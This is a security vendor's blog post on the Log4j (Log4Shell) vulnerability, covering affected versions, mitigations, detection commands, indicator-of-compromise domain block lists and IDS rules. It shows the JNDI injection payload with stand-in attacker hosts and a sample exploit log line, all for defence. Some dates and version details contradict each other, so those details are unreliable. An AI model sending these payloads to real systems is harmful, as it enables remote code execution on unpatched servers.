SOCRadar® Cyber Intelligence Inc. | What Do You Need to Know About the Log4j Critical Vulnerability and What Can You Do?

Resources

Ara 11, 2021

13 Mins Read

What Do You Need to Know About the Log4j Critical Vulnerability and What Can You Do?

Last update: January 4, 2021

In the last 72 hours, the entire cyber security community has focused on the critical vulnerability of Log4j, actively used in millions of systems. We can even see the effect of the Log4j vulnerability in the Google Trends results. The vulnerability, lastly tracked as CVE-2021-44832, is dubbed Log4Shell.

Similar to HeartBleed, the attack surface for this third-party software bug is massive. Security professionals are ramping up their efforts to identify the applications running Log4j to patch as threat actors started widespread scanning and exploitation.

In this blog post, we would like to share the questions that will come to mind for all segments from different levels of responsibility on the subject, with action-oriented answers.

1- What is Log4j, When was Log4j Released, What is it Used For, and Why is it so Important?

Log4j is a java-based logging library that Ceki Gulcu developed, then transferred to the Apache Software Foundation, and produced by ASF.

Log4j is actively involved in many Java applications by making optional level-based logging. Considering that the number of devices using Java worldwide is in the billions, it is not surprising that Log4j appears in unexpected and unexpected places.

2- How Critical is a Vulnerability Detected in Log4j?

Although the Log4Shell vulnerability, detected by Chen Zhaojun from the Alibaba Cloud security team, does not seem to be fully understood yet, it looks like a vulnerability that will be discussed the most in the coming years. It is so critical that it causes different companies to experience security breaches at an unexpected moment.

Reminding us of the Equifax vulnerability might be good to refresh our memory. The vulnerability that caused the Equifax data breach in 2017 was similar to the Log4j exposure that came out today, but it was a very innocent vulnerability.

Authorities have determined the vulnerability’s criticality level (CVSS) as 10 out of 10. The high CVSS score hints that the vulnerability should be patched right away. If you are using any log4j versions from 2.0 to 2.14.1, you are affected by this vulnerability, so patch now! If you are using Log4j 1.x, you are impacted by this vulnerability only if you are using JMS Appenders.

—-

Update: January 4, 2021

According to Apache’s latest update, there is another vulnerability discovered on Log4j2, tracked as CVE-2021-45046. The new vulnerability, with a severity score (CVSS) of 9.0 out of 10.0, is again a remote-code execution flaw.

On Friday, Apache has released version 2.17.0 of the patch for Log4j after discovering issues with their previous release. Apache said version 2.16 “does not always protect from infinite recursion in lookup evaluation” and explained that it is vulnerable to CVE-2021-45105, a denial of service vulnerability. They said the severity is “high” and gave it a CVSS score of 7.5.

On the 28th of December, The Apache Software Foundation (ASF) rolled out fresh patches to contain an arbitrary code execution flaw in Log4j that could be abused by threat actors to run malicious code on affected systems, making it the “fifth security shortcoming” to be discovered in the tool in the span of a month.

Tracked as CVE-2021-44832, the vulnerability is rated 6.6 in severity on a scale of 10 and impacts all versions of the logging library from 2.0-alpha7 to 2.17.0 with the exception of 2.3.2 and 2.12.4. While Log4j versions 1. x are not affected, users are recommended to upgrade to Log4j 2.3.2 (for Java 6), 2.12.4 (for Java 7), or 2.17.1 (for Java 8 and later).

Also, Microsoft has warned Windows and Azure customers to remain vigilant after observing state-sponsored and cyber-criminal attackers probing systems for the Log4j vulnerability flaw through December.

“Exploitation attempts and testing have remained high during the last weeks of December. We have observed many existing attackers adding exploits of these vulnerabilities in their existing malware kits and tactics, from coin miners to hands-on-keyboard attacks,” the Microsoft 365 Defender Threat Intelligence Team and the Microsoft Threat Intelligence Center (MSTIC) said in a January 3 update.

—-

How does Log4j vulnerability work?

How the Log4j processor handles the log messages is the root cause of the vulnerability. An attacker can remotely execute codes by sending a custom message that may include malicious code like the following. ${jndi:ldap://rogueldapserver.com/a This code insertion results in loading an external code class or message lookup and the execution of that code.

3-Which Products and Systems that You Use May be Affected by This Vulnerability? Which Log4j Versions are Affected?

It is impossible to directly tell whether an application uses Log4j by looking at it from the outside. It seems that some of the publishers have started to list which services and software use Log4j regarding the subject. We share the important ones as a list below.

In summary, if you have an application that uses Java, Log4j is also used. Therefore, you should check all Java applications and apply the necessary patches/mitigations.

Scan for Log4j with open source tools

There are two open-source tools led by Anchor that can scan many packaged dependency formats, identify their existence, and report if they contain vulnerabilities. In this case, being able to check JAR files, especially nested layers of JAR files, is what we want.

Syft generates a software bill of materials (SBOM), and Grape is a vulnerability scanner. Both of these tools can inspect multiple nested layers of JAR archives to uncover and identify versions of Log4j.

Some services/Manufacturers Affected by Log4j Vulnerability:

Apple
Steam
Twitter
Baidu
Tesla
Amazon

Products Identified to be Affected by the Log4j Vulnerability:

Most applications that use Java in their infrastructure
Apache Struts
Apache Struts2
Apache Tomcat
Apache Spark
Apache Solr
Apache Druid
Apache Flink
ElasticSearch
flume
Apache Dubbo
Logstash
Kafka
IBM Qradar SIEM
VMWare
NetApp

——–

Update on December 13th: The list of manufacturers and components keeps extending with new research. Following manufacturers are the new additions to the list.

Cisco, F5
Citrix
Carbon Black
Imperva
Jenkins
McAfee
Oracle
Webex
Palo-Alto Networks
Pulse Secure

The list of affected applications and the list of affected components are also growing. The attack surface with verified exploits is also published by the researchers.

——-

4-How to Protect From Log4j Vulnerability? Are There Any Additional Solutions Other Than Patching?

There are multiple ways to protect against Log4j vulnerability. First of all, upgrade to the newest version. The newest version, version 2.16.0 is now available. If you cannot update for some reason, ASF recommends the following intermediate solutions:

a)Users of Log4j version 2.10 or higher may add

as a command-line option or add log4j2. formatMsgNoLookups =true to a log4j2.component.properties file on the classpath to prevent lookups in log event messages.

-Dlog4j2.formatMsgNoLookups=true

b) Users since Log4j 2.7 may specify %m {nolookups} in the PatternLayout configuration to prevent lookups in log event messages.

c) Remove the JndiLookup and JndiManager classes from the log4j-core jar. Removal of the JndiManager will cause the JndiContextSelector and JMSAppender to no longer function.

5-How Can You Detect the Systems Use Vulnerable Log4j?

Run the following command on your Linux systems

grep -r ‘org/apache/logging/log4j/core/lookup/JndiLookup.class’ /

If the output is “binary file matches,” relevant files use the Log4j library.

You can run the relevant commands from the GitHub repository for Windows systems.

Various test systems are distributed on the internet for the systems you do not have access to the code but suspect. You can try one of the test codes, whichever is reliable for your suspected systems.

You can also use online test tools such as the service provided by Huntress Labs.

If you desire to test multiple webservers from the command prompt, the Nuclei template is published. All you need to do is to run the following command for a text file containing the URL list.

nuclei -t cves/2021/CVE-2021-44228.yaml -list urls.txt

SOCRadar offers free scans for log4j vulnerability on your systems through its Free Edition.

6-How to Exploit the Log4j Vulnerability? Is There Any Example of Exploit Code?

There is no need for complex lines of code to exploit the vulnerability. The following single line added to any input received by Log4j (it can be HTTP-user agent, data sent from HTTP POST form) will make the exploit code work.

${jndi:ldap://maliciousexternalhost.com/resource

The most important thing to note here is that you should avoid running exploit codes with unreadable content or content you cannot technically comment on. If you want to experiment with your LDAP server, this GitHub repository will help.

7-How Can You Determine Whether Your Systems are Affected by Looking at the Logs?

An example exploits log will generate logs on the webserver as follows.

45.155.205.233 - - [] "GET / HTTP/1.1" 200 2595 "-" "${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/}"

Central control for systems behind the firewall:

The easiest way to tell if someone is running the Log4j exploit code on your systems is to check your server systems’ traffic to the internet and check for traffic on an abnormal port 80, 443.

Especially in corporate environments, since the server systems have minimal access to the internet (as it should be), it will not be easy to exploit even if a vulnerability is detected. In addition, if you can look at the protocol part of the outgoing traffic, not the port, searching for the LDAP protocol will also make your job easier.

Requests originating from the following DNS addresses are indicators of the existence of a system with this vulnerability and exploitation attempts. You should block these attempts by creating SIEM rules on DNS Server, Firewall, or IDS that generates alarms for and blocks requests sent from these domains (and also all their subdomains).

pwn.af

.*.pwn.af

.*.leakix.net

leakix.net

.*.interactsh.com

interactsh.com

.*.interact.sh

interact.sh

.*.burpcollaborator.net

burpcollaborator.net

.*.bingsearchlib.com

bingsearchlib.com

.*.canarytokens.com

canarytokens.com

.*.kryptoslogic-cve-2021-44228.com

kryptoslogic-cve-2021-44228.com

dnslog.cn

.*.dnslog.cn

world443.log4j.binaryedge.io

world80.log4j.binaryedge.io

requestbin.net

.*.requestbin.net

rce.ee

.*.rce.ee

Check for individual Linux systems:

Apart from this, if there is a Linux system that you know or suspect is using Log4j, you can quickly check the logs with the grep/egrep commands.

You can try the following command to find out if any exploit has been attempted in the content of all logfiles under /var/login an easy way:

You can check this GitHub repository to search for compressed archive files under /var/log.

sudo egrep -i -r '${jndi:(ldap[s]?|rmi|dns):/[^n]+' /var/log

Control via SIEM:

For control over SIEM, searching the logs for “jndi:ldap, jndi:rmi, jndi:dns” will give a clue.

8- Are There Any IOCs that the SOC Teams Can Use to Prevent Exploitation of the Vulnerability on Internet-Exposed Servers?

Following the release of the vulnerability, systems using Log4j started to be detected and exploited by hundreds of IP addresses from different countries.

The list below should be checked from the backlogs and added to the block list for potential scans.

You can access Active Scanning IP Addresses from the GitHub link here.

The addresses to call the payload downloading the exploit are listed here.

All SOCRadar users, including Free Edition users, receive updated IoC lists. Since SOCRadar automatically updates its recommended IoC list for Log4j, users do not need to take further actions. If you are not a SOCRadar user (yet), you can register our Free Edition to receive automatically updated log4j IoC feeds.

——

Update on December 13th

Various IoC lists can be found in the following links:

——

9-Are There Any Rules to Detect and Prevent Vulnerabilities for Systems Such as WAF, IPS, SIEM?

When we look at the first scans, we see that there are experiments with user-agent change (they send the Payload part with the user-agent) over HTTP/HTTPS. Therefore, WAF and IPS have an essential role at the first stage. Cloudflare announced that all of its customers are protected against this vulnerability.

In addition, blocking access to the LDAP and RMI ports of the server systems towards the internet in the firewall rules will partially reduce the effect of the attack because the attackers are trying to send the exemplary packet to the internet via LDAP, DNS, and RMI to understand that the attack was successful.

If you use an IDS/IPS based on Snort, Suricata, you can apply the rules to your system by examining the directions below. You can follow the updated signature file here.

alert http any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)"; flow:established,to_server; content:"|24 7b|jndi|3a|ldap|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034647; rev:1; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)

alert http any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (http rmi) (CVE-2021-44228)"; flow:established,to_server; content:"|24 7b|jndi|3a|rmi|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034648; rev:1; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)

alert tcp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:”ET EXPLOIT Apache log4j RCE Attempt (tcp ldap) (CVE-2021-44228)”; flow:established,to_server; content:”|24 7b|jndi|3a|ldap|3a 2f 2f|”; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034649; rev:1; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)

alert tcp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:”ET EXPLOIT Apache log4j RCE Attempt (tcp rmi) (CVE-2021-44228)”; flow:established,to_server; content:”|24 7b|jndi|3a|rmi|3a 2f 2f|”; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034650; rev:1; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)

alert tcp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:”ET EXPLOIT Apache log4j RCE Attempt (tcp dns) (CVE-2021-44228)”; flow:established,to_server; content:”|24 7b|jndi|3a|dns|3a 2f 2f|”; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034654; rev:2; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)

alert http any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:”ET EXPLOIT Apache log4j RCE Attempt (http dns) (CVE-2021-44228)”; flow:established,to_server; content:”|24 7b|jndi|3a|dns|3a 2f 2f|”; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034655; rev:2; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)

alert udp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:”ET EXPLOIT Apache log4j RCE Attempt (udp ldaps) (CVE-2021-44228)”; content:”|24 7b|jndi|3a|ldaps|3a 2f 2f|”; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034656; rev:2; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)

alert tcp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:”ET EXPLOIT Apache log4j RCE Attempt (tcp ldaps) (CVE-2021-44228)”; flow:established,to_server; content:”|24 7b|jndi|3a|ldaps|3a 2f 2f|”; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034657; rev:2; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)

alert http any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (http ldaps) (CVE-2021-44228)"; flow:established,to_server; content:"|24 7b|jndi|3a|ldaps|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034658; rev:2; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)

10- Are There Any Ransomware Gang, APT Group, or Botnet Actively Exploiting Log4Shell Vulnerability?

As of December 12th, we observed that two botnets, Muhstik, MIRAI, actively exploiting the vulnerability on the Log4j library.

Chinese security firm Qihoo 360 announced in a research report that they tracked at least ten different groups that abused this vulnerability.

Israeli security firm Check Point also stated that it has so far viewed at least “60 variations” of the Log4j exploit, as a result of most threat actors trying to evade the detections and mitigations implemented since last week.

We will keep updating our blog post on Log4shell vulnerability with the new updates. Stay tuned!

References

^[1]GitHub: Log4j Attack Surface

^[2]Continuously updated signature file

^[3]Current detection commands published for detailed research

^[4]Some example exploit codes for different systems

^[5]The notice published by the Apache Software Foundation

^[6]Cloudflare’s latest statement

Discover SOCRadar® Free Edition

With SOCRadar® Free Edition, you’ll be able to:

Discover your unknown hacker-exposed assets
Check if your IP addresses tagged as malicious
Monitor your domain name on hacked websites and phishing databases
Get notified when a critical zero-day vulnerability is disclosed

Free for 12 months for 1 corporate domain and 100 auto-discovered digital assets.
Try for free

Extended Threat Intelligence Platform